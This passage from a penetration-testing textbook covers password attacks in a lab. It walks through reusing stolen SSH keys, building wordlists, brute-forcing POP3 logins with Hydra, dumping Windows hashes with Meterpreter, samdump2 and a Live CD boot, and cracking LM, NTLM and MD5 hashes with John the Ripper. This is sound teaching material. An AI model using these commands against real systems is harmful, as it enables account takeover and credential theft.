Now, we copy georgia’s private key (id_rsa) and public key (id_rsa.pub) to
root’s .ssh directory on Kali, and use the ssh-add command to add the identity to the authentication agent before we try to SSH into the Linux target.
Exploitation 195
[email protected]:/tmp/mount/.ssh# cp id_rsa.pub ~/.ssh/id_rsa.pub
[email protected]:/tmp/mount/.ssh# cp id_rsa ~/.ssh/id_rsa
[email protected]:/tmp/mount/.ssh# ssh-add
Identity added: /root/.ssh/id_rsa (/root/.ssh/id_rsa)
[email protected]:/tmp/mount/.ssh# ssh [email protected]
Linux ubuntu 2.6.27-7-generic #1 SMP Fri Oct 24 06:42:44 UTC 2008 i686
[email protected]:~$
Again, we are able to gain access to the target by manipulating the SSH
keys. We started with the ability to read and write files in georgia’s home
directory. Now we have a shell on the Linux system as user georgia without
needing a password.
Summary
In this chapter we were able to combine the information we gathered in
Chapter 5 with the vulnerabilities discovered in Chapter 6 to exploit multiple compromises on both the Windows XP and Linux targets. We used
various techniques, including attacking misconfigured web servers, piggybacking on backdoored software, taking advantage of poor access control
to sensitive files, exploiting vulnerabilities in the underlying system, and
exploiting issues in third-party software.
Now that we’ve managed to get a foothold in the systems, in the next
chapter, let’s turn to cracking the passwords we found on the systems.
196 Chapter 8
9
Pa ss word At tacks
Passwords are often the path of least resistance on
pentesting engagements. A client with a strong security program can fix missing Windows patches and
out-of-date software, but the users themselves can’t be
patched. We’ll look at attacking users when we discuss
social engineering in Chapter 11, but if we can correctly guess or calculate
a user’s password, we may be able to avoid involving the user in the attack at
all. In this chapter we’ll look at how to use tools to automate running services
on our targets and sending usernames and passwords. Additionally, we’ll
study cracking the password hashes we gained access to in Chapter 8.
Password Management
Companies are waking up to the inherent risks of password-based authentication; brute-force attacks and educated guesses are both serious risks to
weak passwords. Many organizations use biometric (fingerprint or retinal
scan-based) or two-factor authentication to mitigate these risks. Even web
services such as Gmail and Dropbox offer two-factor authentication in
which the user provides a password as well as a second value, such as the
digits on an electronic token. If two-factor authentication is not available,
using strong passwords is imperative for account security because all that
stands between the attacker and sensitive data may come down to a simple
string. Strong passwords are long, use characters from multiple complexity
classes, and are not based on a dictionary word.
The passwords we use in this book are deliberately terrible, but unfortunately, many users don’t behave much better when it comes to passwords.
Organizations can force users to create strong passwords, but as passwords
become more complex, they become harder to remember. Users are likely
to leave a password that they can’t remember in a file on their computer, in
their smartphone, or even on a Post-it note, because it’s just easier to keep
of track them that way. Of course, passwords that can be discovered lying
around in plaintext undermine the security of using a strong password.
Another cardinal sin of good password management is using the same
password on many sites. In a worst-case scenario, the CEO’s weak password
for a compromised web forum might just be the very same one for his or
her corporate access to financial documents. Password reuse is something
to bear in mind while performing password attacks; you may find the same
passwords work on multiple systems and sites.
Password management presents a difficult problem for IT staff and will
likely continue to be a fruitful avenue for attackers unless or until passwordbased authentication is phased out entirely in favor of another model.
Online Password Attacks
Just as we used automated scans to find vulnerabilities, we can use scripts to
automatically attempt to log in to services and find valid credentials. We’ll
use tools designed for automating online password attacks or guessing passwords until the server responds with a successful login. These tools use a
technique called brute forcing. Tools that use brute forcing try every possible
username and password combination, and given enough time, they will find
valid credentials.
The trouble with brute forcing is that as stronger passwords are used,
the time it takes to brute-force them moves from hours to years and even
beyond your natural lifetime. We can probably find working credentials
more easily by feeding educated guesses about the correct passwords into
an automated login tool. Dictionary words are easy to remember, so despite
the security warnings, many users incorporate them into passwords. Slightly
more security-conscious users might put some numbers at the end of their
password or maybe even an exclamation point.
198 Chapter 9
Wordlists
Before you can use a tool to guess passwords, you need a list of credentials
to try. If you don’t know the name of the user account you want to crack, or
you just want to crack as many accounts as possible, you can provide a username list for the password-guessing tool to iterate through.
User Lists
When creating a user list, first try to determine the client’s username scheme.
For instance, if we’re trying to break into employee email accounts, figure
out the pattern the email addresses follow. Are they firstname.lastname, just a
first name, or something else?
You can look for good username candidates on lists of common first or
last names. Of course, the guesses will be even more likely to succeed if you
can find the names of your target’s actual employees. If a company uses a
first initial followed by a last name for the username scheme, and they have
an employee named John Smith, jsmith is likely a valid username. Listing 9-1
shows a very short sample user list. You’d probably want a larger list of users
in an actual engagement.
[email protected]:~# cat userlist.txt
georgia
john
mom
james
Listing 9-1: Sample user list
Once you’ve created your list, save the sample usernames in a text file
in Kali Linux, as shown in Listing 9-1. You’ll use this list to perform online
password attacks in “Guessing Usernames and Passwords with Hydra” on
page 202.
Password Lists
In addition to a list of possible users, we’ll also need a password list, as
shown in Listing 9-2.
[email protected]:~# cat passwordfile.txt
password
Password
password1
Password1
Password123
password123
Listing 9-2: Sample password list
Password Attacks 199
Like our username list, this password list is just a very short example
(and one that, hopefully, wouldn’t find the correct passwords for too many
accounts in the real world). On a real engagement, you should use a much
longer wordlist.
There are many good password lists available on the Internet. Good
places to look for wordlists include http://packetstormsecurity.com/Crackers/
wordlists/ and http://www.openwall.com/wordlists/. A few password lists are also
built into Kali Linux. For example, the /usr/share/wordlists directory contains a file called rockyou.txt.gz. This is a compressed wordlist. If you unzip
the file with the gunzip Linux utility, you’ll have about 140 MB of possible
passwords, which should give you a pretty good start. Also, some of the
password-cracking tools in Kali come with sample wordlists. For example,
the John the Ripper tool (which we’ll use in “Offline Password Attacks” on
page 203) includes a wordlist at /usr/share/john/password.lst.
For better results, customize your wordlists for a particular target by
including additional words. You can make educated guesses based on information you gather about employees online. Information about spouses,
children, pets, and hobbies may put you on the right track. For example,
if your target’s CEO is a huge Taylor Swift fan on social media, consider
adding keywords related to her albums, her music, or her boyfriends. If
your target’s password is TaylorSwift13!, you should be able to confirm it
using password guessing long before you have to run a whole precompiled
wordlist or a brute-force attempt. Another thing to keep in mind is the
language(s) used by your target. Many of your pentesting targets may be
global.
In addition to making educated guesses based on information you
gather while performing reconnaissance, a tool like the ceWL custom
wordlist generator will search a company website for words to add to
your wordlist. Listing 9-3 shows how you might use ceWL to create a
wordlist based on the contents of www.bulbsecurity.com.
[email protected]:~# cewl --help
cewl 5.0 Robin Wood ([email protected]) (www.digininja.org)
Usage: cewl [OPTION] ... URL
--snip---depth x, -d x: depth to spider to, default 2 u
--min_word_length, -m: minimum word length, default 3 v
--offsite, -o: let the spider visit other sites
--write, -w file: write the output to the file w
--ua, -u user-agent: useragent to send
--snip-URL: The site to spider.
[email protected]:~# cewl -w bulbwords.txt -d 1 -m 5 www.bulbsecurity.com x
Listing 9-3: Using ceWL to build custom wordlists
200 Chapter 9
The command ceWL --help lists ceWL’s usage instructions. Use the -d
(depth) option u to specify how many links ceWL should follow on the
target website. If you think that your target has a minimum password-size
requirement, you might specify a minimum word length to match with the
-m option v. Once you’ve made your choices, output ceWL’s results to a file
with the -w option w. For example, to search www.bulbsecurity.com to depth
1 with minimum word length of 5 characters and output the words found to
the file bulbwords.txt, you would use the command shown at x. The resulting
file would include all words found on the site that meet your specifications.
Another method for creating wordlists is producing a list of every possible combination of a given set of characters, or a list of every combination
of characters for a specified number of characters. The tool Crunch in Kali
will generate these character sets for you. Of course, the more possibilities,
the more disk space is required for storage. A very simple example of using
Crunch is shown in Listing 9-4.
[email protected]:~# crunch 7 7 AB
Crunch will now generate the following amount of data: 1024 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 128
AAAAAAA
AAAAAAB
--snip-Listing 9-4: Brute-forcing a keyspace with Crunch
This example generates a list of all the possible seven-character combinations of just the characters A and B. A more useful, but much, much
larger example would be entering crunch 7 8, which would generate a list
of all the possible combinations of characters for a string between seven
and eight characters in length, using the default Crunch character set of
lowercase letters. This technique is known as keyspace brute-forcing. While
it is not feasible to try every possible combination of characters for a password in the span of your natural life, it is possible to try specific subsets; for
instance, if you knew the client’s password policy requires passwords to be at
least seven characters long, trying all seven- and eight-character passwords
would probably result in cracking success—even among the rare users who
did not base their passwords on a dictionary word.
Note
Developing a solid wordlist or set of wordlists is a constantly evolving process. For the
exercises in this chapter, you can use the short sample wordlist we created in Listing 9-2,
but as you gain experience in the field, you’ll develop more complex lists that work
well on client engagements.
Now let’s see how to use our wordlist to guess passwords for services
running on our targets.
Password Attacks 201
Guessing Usernames and Passwords with Hydra
If you have a set of credentials that you’d like to try against a running service
that requires a login, you can input them manually one by one or use a tool
to automate the process. Hydra is an online password-guessing tool that can
be used to test usernames and passwords for running services. (Following
the tradition of naming security tools after the victims of Heracles’s labors,
Hydra is named for the mythical Greek serpent with many heads.) Listing 9-5
shows an example of using Hydra for online password guessing.
[email protected]:~# hydra -L userlist.txt -P passwordfile.txt 192.168.20.10 pop3
Hydra v7.6 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only
Hydra (http://www.thc.org/thc-hydra) starting at 2015-01-12 15:29:26
[DATA] 16 tasks, 1 server, 24 login tries (l:4/p:6), ~1 try per task
[DATA] attacking service pop3 on port 110
[110][pop3] host: 192.168.20.10 login: georgia password: passwordu
[STATUS] attack finished for 192.168.20.10 (waiting for children to finish)
1 of 1 target successfuly completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2015-01-12 15:29:48
Listing 9-5: Using Hydra to guess POP3 usernames and passwords
Listing 9-5 shows how to use Hydra to guess usernames and passwords
by running through our username and password files to search for valid
POP3 credentials on our Windows XP target. This command uses the -L
flag to specify the username file, the -P for the password list file, and specifies the protocol pop3. Hydra finds that user georgia’s password is password at
u. (Shame on georgia for using such an insecure password!)
Sometimes you’ll know that a specific username exists on a server, and
you just need a valid password to go with it. For example, we used the SMTP
VRFY verb to find valid usernames on the SLMail server on the Windows XP
target in Chapter 6. As you can see in Listing 9-6, we can use the -l flag
instead of -L to specify one particular username. Knowing that, let’s look
for a valid password for user georgia on the pop3 server.
[email protected]:~# hydra -l georgia -P passwordfile.txt 192.168.20.10 pop3
Hydra v7.6 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only
[DATA] 16 tasks, 1 server, 24 login tries (l:4/p:6), ~1 try per task
[DATA] attacking service pop3 on port 110
[110][pop3] host: 192.168.20.10 login: georgia password: passwordu
[STATUS] attack finished for 192.168.20.10 (waiting for children to finish)
1 of 1 target successfuly completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2015-01-07 20:22:23
Listing 9-6: Using a specific username with Hydra
Hydra found georgia’s password to be password u.
Now, in Listing 9-7, we’ll use our credentials to read georgia’s email.
[email protected]:~# nc 192.168.20.10 pop3
+OK POP3 server xpvictim.com ready <[email protected]>
202 Chapter 9
USER georgia
+OK georgia welcome here
PASS password
+OK mailbox for georgia has 0 messages (0 octets)
Listing 9-7: Using Netcat to log in with guessed credentials
Specify the pop3 protocol, and provide the username and password
when prompted. (Unfortunately, there are no love letters in this particular
inbox.) Hydra can perform online password guessing against a range of services. (See its manual page for a complete list.) For example, here we use
the credentials we found with Hydra to log in with Netcat.
Keep in mind that most services can be configured to lock out accounts
after a certain number of failed login attempts. There are few better ways
to get noticed by a client’s IT staff than suddenly locking out several user
accounts. Logins in rapid succession can also tip off firewalls and intrusionprevention systems, which will get your IP address blocked at the perimeter.
Slowing down and randomizing scans can help with this, but there is, of
course, a tradeoff: Slower scans will take longer to produce results.
One way to avoid having your login attempts noticed is to try to guess a
password before trying to log in, as you’ll learn in the next section.
Offline Password Attacks
Another way to crack passwords (without being discovered) is to get a copy
of the password hashes and attempt to reverse them back to plaintext passwords. This is easier said than done because hashes are designed to be the
product of a one-way hash function: Given an input, you can calculate the
output using the hash function, but given the output, there is no way to
reliably determine the input. Thus, if a hash is compromised, there should
be no way to calculate the plaintext password. We can, however, guess a
password, hash it with the one-way hash function, and compare the results
to the known hash. If the two hashes are the same, we’ve found the correct
password.
Note
As you’ll learn in “LM vs. NTLM Hashing Algorithms” on page 208, not all password hashing systems have stood the test of time. Some have been cracked and are no
longer considered secure. In these cases, regardless of the strength of the password chosen, an attacker with access to the hashes will be able to recover the plaintext password
in a reasonable amount of time.
Of course, it’s even better if you can get access to passwords in plaintext and save yourself the trouble of trying to reverse the cryptography, but
often the passwords you encounter will be hashed in some way. In this section
we’ll focus on finding and reversing password hashes. If you stumble upon a
program configuration file, database, or other file that stores passwords in
plaintext, all the better.
But before we can try to crack password hashes, we have to find them.
We all hope that the services that store our passwords do a good job of
Password Attacks 203
protecting them, but that’s never a given. It only takes one exploitable flaw or
a user who falls victim to a social-engineering attack (discussed in Chapter 11)
to bring down the whole house of cards. You’ll find plenty of password hashes
lying around sites like Pastebin, remnants from past security breaches.
In Chapter 8, we gained access to some password hashes on the Linux
and Windows XP targets. Having gained a Meterpreter session with system
privileges on the Windows XP system via the windows/smb/ms08_067_netapi
Metasploit module, we can use the hashdump Meterpreter command to print
the hashed Windows passwords, as shown in Listing 9-8.
meterpreter > hashdump
Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
georgia:1003:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:df40c521ef762bb7b9767e30ff112a3c:938ce7d211ea733373bcfc3e6fbb3641:::
secret:1004:e52cac67419a9a22664345140a852f61:58a478135a93ac3bf058a5ea0e8fdb71:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:bc48640a0fcb55c6ba1c9955080a52a8:::
Listing 9-8: Dumping password hashes in Meterpreter
Save the output of the hashdump to a file called xphashes.txt, which we
will use in “John the Ripper” on page 210.
In Chapter 8 we also downloaded backups of the SAM and SYSTEM
hives using the local file inclusion issue in Zervit 0.4 on the Windows XP
system. We used this same issue to download the configuration file for
the FileZilla FTP server, which contained passwords hashed with the MD5
algorithm. On the Linux target, the Vsftpd smiley-face backdoor gave us
root privileges, and thus we can access to the file /etc/shadow, which stores
Linux password hashes. We saved the password for user georgia to the file
linuxpasswords.txt.
Recovering Password Hashes from a Windows SAM File
The SAM file stores hashed Windows passwords. Though we were able to use
Meterpreter to dump the password hashes from the Windows XP system (as
shown previously), sometimes you’ll be able to get only the SAM file.
We weren’t able to get access to the primary SAM file through the
Zervit 0.4 vulnerability, but we were able to download a backup copy from
the C:\Windows\repair directory using a local file-inclusion vulnerability. But
when we try to read the SAM file (as shown in Listing 9-9), we don’t see any
password hashes.
[email protected]:~# cat sam
regf
P P5gfhbin����nk,�u����� ���� ���������x����SAMX���skx x � �p�µ\µ?
?
µ
µ
����nk L���� �B���� �x �����SAM����skxx7d
�HXµ4µ?
����vk � CP��� � µ�x�µD0�µ
�µ��­ 4µ1
?
�����
����lf
SAM����nk �u�����
H#���� Px ����Domains����vk�����8lf �Doma����nk
\��J��� ������0x ����( Account����vk ��
--snip-Listing 9-9: Viewing the SAM file
204 Chapter 9
The SAM file is obfuscated because the Windows Syskey utility encrypts
the password hashes inside the SAM file with 128-bit Rivest Cipher 4 (RC4)
to provide additional security. Even if an attacker or pentester can gain
access to the SAM file, there’s a bit more work to do before we can recover the
password hashes. Specifically, we need a key to reverse the encrypted hashes.
The encryption key for the Syskey utility is called the bootkey, and it’s
stored in the Windows SYSTEM file. You’ll find a copy of the SYSTEM file in
the C:\Windows\repair directory where we found the backup SAM file. We can
use a tool in Kali called Bkhive to extract the Syskey utility’s bootkey from the
SYSTEM file so we can decrypt the hashes, as shown in Listing 9-10.
[email protected]:~# bkhive system xpkey.txt
bkhive 1.1.1 by Objectif Securite
http://www.objectif-securite.ch
original author: [email protected]
Root Key : $$$PROTO.HIV
Default ControlSet: 001
Bootkey: 015777ab072930b22020b999557f42d5
Listing 9-10: Using Bkhive to extract the bootkey
Here we use Bkhive to extract the bootkey by passing in the SYSTEM
file system (the file we downloaded from the repair directory using the
Zervit 0.4 directory traversal) as the first argument and extracting the file
to xpkey.txt. Once we have the bootkey, we can use Samdump2 to retrieve
the password hashes from the SAM file, as shown in Listing 9-11. Pass
Samdump2 the location of the SAM file and the bootkey from Bkhive as
arguments, and it will use the bootkey to decrypt the hashes.
[email protected]:~# samdump2 sam xpkey.txt
samdump2 1.1.1 by Objectif Securite
http://www.objectif-securite.ch
original author: [email protected]
Root Key : SAM
Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:df40c521ef762bb7b9767e30ff112a3c:938ce7d211ea733373bcfc3e6fbb3641:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:bc48640a0fcb55c6ba1c9955080a52a8:::
Listing 9-11: Using Samdump2 to recover Windows hashes
Now compare these hashes to those found with the hashdump command
in an active Meterpreter session from Listing 9-8. (A Meterpreter session
with sufficient privileges can dump password hashes on the fly without
requiring us to download the SAM and SYSTEM files.) Notice that our hash
list in Listing 9-11 lacks entries for the users georgia or secret. What happened?
When using the Zervit directory traversal, we weren’t able to access
the main SAM file at C:\Windows\System32\config and instead downloaded
a backup from C:\Windows\repair\sam. These users must have been created
Password Attacks 205
after the SAM file backup was created. We do have a password hash for the
Administrator user, though. Though not complete or fully up-to-date, we may
still be able to use cracked hashes from this backup SAM to log in to the
systems.
Now let’s look at another way to access password hashes.
Dumping Password Hashes with Physical Access
On some engagements, you’ll actually have physical access to user machines,
with so-called physical attacks in scope. While having physical access may
not appear very useful at first, you may be able to access the password hashes
by restarting a system using a Linux Live CD to bypass security controls.
(We’ll use a Kali ISO image, though other Linux Live CDs such as Helix
or Ubuntu will work. We used a prebuilt Kali virtual machine in Chapter 1.
To get a standalone ISO of Kali, go to http://www.kali.org.) When you boot
a machine with a Live CD, you can mount the internal hard disk and gain
access to all files, including the SAM and SYSTEM files. (When Windows
boots, there are certain security controls in place to stop users from accessing the SAM file and dumping password hashes, but these aren’t active when
the filesystem is loaded in Linux.)
Our Windows 7 virtual machine, with its solid external security posture,
has been a bit neglected in these last few chapters. Let’s dump its hashes
using a physical attack. First, we’ll point our virtual machine’s optical drive
to a Kali ISO file, as shown in Figure 9-1 (for VMware Fusion). In VMware
Player, highlight your Windows 7 virtual machine, right-click it and choose
Settings, then choose CD/DVD (SATA) and point to the ISO in the Use
ISO Image field on the right side of the page.
Figure 9-1: Setting our Windows 7 virtual machine to boot from the Kali
ISO file
By default, VMware will boot up the virtual machine so quickly that
it will be difficult to change the BIOS settings to boot from the CD/DVD
drive instead of the hard disk. To fix this, we’ll add a line to the VMware
configuration file (.vmx) to delay the boot process at the BIOS screen for
a few seconds.
206 Chapter 9
1. On your host machine, browse to where you saved your virtual machines.
Then, in the folder for the Windows 7 target, find the .vmx configuration file, and open it in a text editor. The configuration file should look
similar to Listing 9-12.
.encoding = "UTF-8"
config.version = "8"
virtualHW.version = "9"
vcpu.hotadd = "TRUE"
scsi0.present = "TRUE"
scsi0.virtualDev = "lsilogic"
--snip-Listing 9-12: VMware configuration file (.vmx)
2. Add the line bios.bootdelay = 3000 anywhere in the file. This tells the
virtual machine to delay booting for 3000 ms, or three seconds, enough
time for us to change the boot options.
3. Save the .vmx file, and restart the Windows 7 target. Once you can access
the BIOS, choose to boot from the CD drive. The virtual machine should
start the Kali ISO. Even though we’re booted into Kali, we can mount the
Windows hard disk and access files, bypassing the security features of
the Windows operating system.
Listing 9-13 shows how to mount the file system and dump the password
hashes.
[email protected]:# umkdir -p /mnt/sda1
[email protected]:# vmount /dev/sda1 /mnt/sda1
[email protected]:# wcd /mnt/sda1/Windows/System32/config/
[email protected]:/mnt/sda1/Windows/System32/config bkhive SYSTEM out
[email protected]:/mnt/sda1/Windows/System32/config samdump2 SAM out
samdump2 1.1.1 by Objectif Securite
http://www.objectif-securite.ch
original author: [email protected]
Root Key : CMI-CreateHive{899121E8-11D8-41B6-ACEB-301713D5ED8C}
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Georgia Weidman:1000:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b75B6c:::
Listing 9-13: Dumping Windows hashes with a Linux Live CD
We create a directory where we can mount our Windows filesystem with
the mkdir command at u. Next, we use mount v to mount the Windows filesystem (/dev/sda1) in the newly created directory (/mnt/sda1), which means
that the target’s C drive is effectively at /mnt/sda1. The SAM and SYSTEM
files in Windows are in the C:\Windows\System32\config directory, so we change
directories to /mnt/sda1/Windows/System32/config to access these files using
Password Attacks 207
cd w, at which point we can use Samdump2 and Bkhive against the SAM
and SYSTEM files without first saving these files and moving them to our
Kali system.
Once again we’ve managed to get access to password hashes. We now
have hashes for our Windows XP target, our Windows 7 target, our Linux
target, and the FileZilla FTP server on the Windows XP target.
Note
In Chapter 13, we’ll explore some tricks for using password hashes to authenticate
without the need for access to the plaintext passwords, but usually, in order to use
these hashes, we’ll need to reverse the cryptographic hash algorithms and get the plaintext passwords. The difficulty of this depends on the password-hashing algorithm used
as well as the strength of the password used.
LM vs. NTLM Hashing Algorithms
Listing 9-14 compares the two password hash entries. The first one belongs
to the Administrator account on Windows XP, which we found with hashdump in
Meterpreter, and the second is Georgia Weidman’s account from Windows 7,
which we found with physical access in the previous section.
Administratoru:500v:e52cac67419a9a224a3b108f3fa6cb6dw:8846f7eaee8fb117ad06bdd830b7586cx
Georgia Weidmanu:1000v:aad3b435b51404eeaad3b435b51404eew:8846f7eaee8fb117ad06bdd830b7586cx
Listing 9-14: Dumping Windows hashes with a Linux Live CD
The first field in the hashes is the username u; the second is the user
ID v; the third is the password hash in LAN Manager (LM) format w; and
the fourth is the NT LAN Manager (NTLM) hash x. LM Hash was the primary way to hash passwords on Microsoft Windows up to Windows NT, but
it’s a cryptographically unsound method that makes it possible to discover
the correct plaintext password for an LM hash, regardless of a password’s
length and complexity. Microsoft introduced NTLM hashing to replace LM
hash, but on Windows XP, passwords are stored in both LM and NTLM formats by default. (Windows 7 opts exclusively for the more secure NTLM hash.)
In the hashes in Listing 9-14, because both passwords are the
string password, the NTLM hash entries for each account are identical, but the LM hash fields are different. The first entry has the value
e52cac67419a9a224a3b108f3fa6cb6d, whereas the Windows 7 entry has
aad3b435b51404eeaad3b435b51404ee, which is LM hash-speak for empty. The
inclusion of the LM hash entry will make cracking the hashes much simpler. In fact, any LM-hashed password can be brute-forced in minutes to
hours. In contrast, our ability to crack the NTLM hashes will depend on
both our ability to guess and the length and complexity of the password.
If the hashing function is cryptographically sound, it could take years,
decades, or more than your lifetime to try every possible password.
208 Chapter 9
The Trouble with LM Password Hashes
When you see LM hashes on a pentest, you can be sure that the plaintext
password is recoverable from the password hash. However, one-way hash
functions can’t be reversed. Complex math is used to develop algorithms that
make it impossible to discover the original plaintext password value that was
hashed, given the password hash. But we can run a plaintext password guess
through the cryptographic hashing function and compare the results to
the hash we’re trying to crack; if they’re the same, we’ve found the correct
password.
The following issues contribute to the insecurity of LM hashes:
•
•
•
•
Passwords are truncated at 14 characters.
Passwords are converted to all uppercase.
Passwords of fewer than 14 characters are null-padded to 14 characters.
The 14-character password is broken into two seven-character passwords
that are hashed separately.
Why are these characteristics so significant? Say we start with a complex, strong password like this:
T3LF23!+?sRty$J
This password has 15 characters from four classes, including lowercase
letters, uppercase letters, numbers, and symbols, and it’s not based on a
dictionary word. However, in the LM hash algorithm, the password is truncated to 14 characters like this:
T3LF23!+?sRty$
Then the lowercase letters are changed to uppercase:
T3LF23!+?SRTY$
Next, the password is split into two seven-character parts. The two parts
are then used as keys to encrypt the static string [email protected]#$% using the Data
Encryption Standard (DES) encryption algorithm:
T3LF23!
+?SRTY$
The resulting eight-character ciphertexts from the encryption are then
concatenated to make the LM hash.
To crack an LM hash, we just need to find seven characters, all uppercase, with perhaps some numbers and symbols. Modern computing hardware
can try every possible one- to seven-character combination, encrypt the string
[email protected]#$%, and compare the resulting hash to a given value in a matter of minutes to hours.
Password Attacks 209
John the Ripper
One of the more popular tools for cracking passwords is John the Ripper.
The default mode for John the Ripper is brute forcing. Because the set of possible plaintext passwords in LM hash is so limited, brute forcing is a viable
method for cracking any LM hash in a reasonable amount of time, even with
our Kali virtual machine, which has limited CPU power and memory.
For example, if we save the Windows XP hashes we gathered earlier
in this chapter to a file called xphashes.txt, then feed them to John the
Ripper like this, we find that John the Ripper can run through the entire
set of possible passwords and come up with the correct answer, as shown in
Listing 9-15.
[email protected]: john xphashes.txt
Warning: detected hash type "lm", but the string is also recognized as "nt"
Use the "--format=nt" option to force loading these as that type instead
Loaded 10 password hashes with no different salts (LM DES [128/128 BS SSE2])
(SUPPORT_388945a0)
PASSWOR
(secret:1)
(Guest)
PASSWOR
(georgia:1)
PASSWOR
(Administrator:1)
D
(georgia:2)
D
(Administrator:2)
D123
(secret:2)
Listing 9-15: Cracking LM hashes with John the Ripper
John the Ripper cracks the seven-character password hashes. In
Listing 9-15, we see that PASSWOR is the first half of the user secret’s password. Likewise, it’s the first half of the password for georgia and Administrator.
The second half of secret’s password is D123, and georgia and Administrator’s
are D. Thus, the complete plaintext of the LM-hashed passwords are
PASSWORD for georgia and Administrator and PASSWORD123 for secret. The
LM hash doesn’t tell us the correct case for a password, and if you try logging in to the Windows XP machine as Administrator or georgia with the
password PASSWORD or the account secret with PASSWORD123, you will
get a login error because LM hash does not take into account the correct
case of the letters in the password.
To find out the correct case of the password, we need to look at the
fourth field of the NTLM hash. John the Ripper noted in the example in
Listing 9-15 that NTLM hashes were also present, and you can use the flag
--format=nt to force John the Ripper to use those hashes (we don’t have LM
hashes for Windows 7, so we will have to crack Windows 7 passwords with a
wordlist since brute forcing the NTLM hashes would likely take too long).
Cracking Windows NTLM hashes is nowhere near as easy as cracking
LM ones. Although a five-character NTLM password that uses only lowercase letters and no other complexity could be brute-forced as quickly as
an LM hash, a 30-character NTLM password with lots of complexity could
210 Chapter 9
take many years to crack. Trying every possible character combination of
any length, hashing it, and comparing it to a value could go on forever until
we happened to stumble upon the correct value (only to find out that the
user has since changed his or her password).
Instead of attempting to brute-force passwords, we can use wordlists
containing known passwords, common passwords, dictionary words, combinations of dictionary words padded with numbers and symbols at the end,
and so on. (We’ll see an example of using a wordlist with John the Ripper
in “Cracking Linux Passwords” on page 212).
A Re a l-World E x a mple
Legacy password hashing once made all the difference on one of my pentests.
The domain controller was Windows Server 2008, with a strong security posture. The workstations throughout the enterprise were reasonably secure, too,
having recently been upgraded to fully patched Windows 7 systems. There
was, however, one promising light in the dark: a Windows 2000 box that was
missing several security patches. I was able to quickly gain system privileges on
the machine using Metasploit.
The trouble was that, while on paper, the penetration test was now a success, compromising the machine had gained me next to nothing. The system
contained no sensitive files, and it was the only machine on this particular network, isolated from the new, updated Windows domain. It had all the trappings
of a domain controller, except it had no clients. All of the other machines in
the environment were members of the new Windows 2008 domain controller’s
domain. Though technically I was now a domain administrator, I was no further
along on the pentest than I was before I found the Windows 2000 machine.
Since this was the domain controller, the domain user password hashes
were included locally. Windows 2000, like Windows XP, stored the LM hashes
of passwords. The client’s old domain administrator password was strong; it
had about 14 characters; included uppercase letters, lowercase letters, numbers,
and symbols; and was not based on a dictionary word. Fortunately, because it
was LM hashed, I was able to get the password back in a matter of minutes.
What do you think the domain administrator’s password was on the
new domain? You guessed it. It was the same as the domain administrator’s
password on the old domain. The Windows 2000 box had not been used in
over six months, but it was still running, and it used an insecure hashing algorithm. Also, the client wasn’t changing their passwords regularly. These two
things combined to bring down what was otherwise a strong security posture. I
was able to access every system in the environment just by logging in with the
domain administrator password I found on the compromised Windows 2000
system.
Password Attacks 211
Cracking Linux Passwords
We can also use John the Ripper against the Linux password hashes we
dumped after exploiting the Vsftpd server backdoor in Chapter 8, as shown
in Listing 9-16.
[email protected]# cat linuxpasswords.txt
georgia:$1$CNp3mty6$lRWcT0/PVYpDKwyaWWkSg/:15640:0:99999:7:::
[email protected]# johnlinuxpasswords.txt --wordlist=passwordfile.txt
Loaded 1 password hash (FreeBSD MD5 [128/128 SSE2 intrinsics 4x])
password
(georgia)
guesses: 1 time: 0:00:00:00 DONE (Sun Jan 11 05:05:31 2015) c/s: 100
trying: password - Password123
Listing 9-16: Cracking Linux hashes with John the Ripper
User georgia has an MD5 hash (we can tell from the $1$ at the beginning
of the password hash). MD5 can’t be brute-forced in a reasonable amount of
time. Instead, we use a wordlist with the --wordlist option in John the Ripper.
John the Ripper’s success at cracking the password depends on the inclusion of the correct password in our wordlist.
M a ngling Wordlis t s w ith John the Rippe r
When required by a password policy to include a number and/or a symbol in
a password, many users will just tack them on to the end of a dictionary word.
Using John the Ripper’s rules functionality, we can catch this and other common
mutations that may slip by a simple wordlist. Open the John the Ripper configuration file at /etc/john/john.conf in an editor and search for List.Rules:Wordlist.
Beneath this heading, you can add mangling rules for the wordlist. For example,
the rule $[0-9]$[0-9]$[0-9] will add three numbers to the end of each word
in the wordlist. You can enable rules in John the Ripper by using the flag
--rules at the command line. More information on writing your own rules
can be found at http://www.openwall.com/john/doc/RULES.shtml.
Cracking Configuration File Passwords
Finally, let’s try to crack the MD5 hashed passwords we found in the
FileZilla FTP server configuration file we downloaded with the Zervit 0.4
file inclusion vulnerability. As you’ll see, sometimes we don’t even need to
crack a password hash. For example, try entering the hash for the user
georgia, 5f4dcc3b5aa765d61d8327deb882cf99, into a search engine. The first
few hits confirm that georgia’s password is password. Additionally, searching
tells us that the account newuser is created when a FileZilla FTP server is
installed with the password wampp.
212 Chapter 9
Now try logging in to the Windows XP target’s FTP server with these
credentials. Sure enough, login is successful. The administrator of this
system forgot to change the default password for the built-in FTP account.
If we were not able to recover the plaintext passwords this easily, we could
again use John the Ripper with a wordlist, as discussed previously.
Rainbow Tables
Rather than taking a wordlist, hashing each entry with the relevant algorithm, and comparing the resulting hash to the value to be cracked, we
can speed up this process considerably by having our wordlist prehashed.
This, of course, will take storage space—more with longer hash lists, and
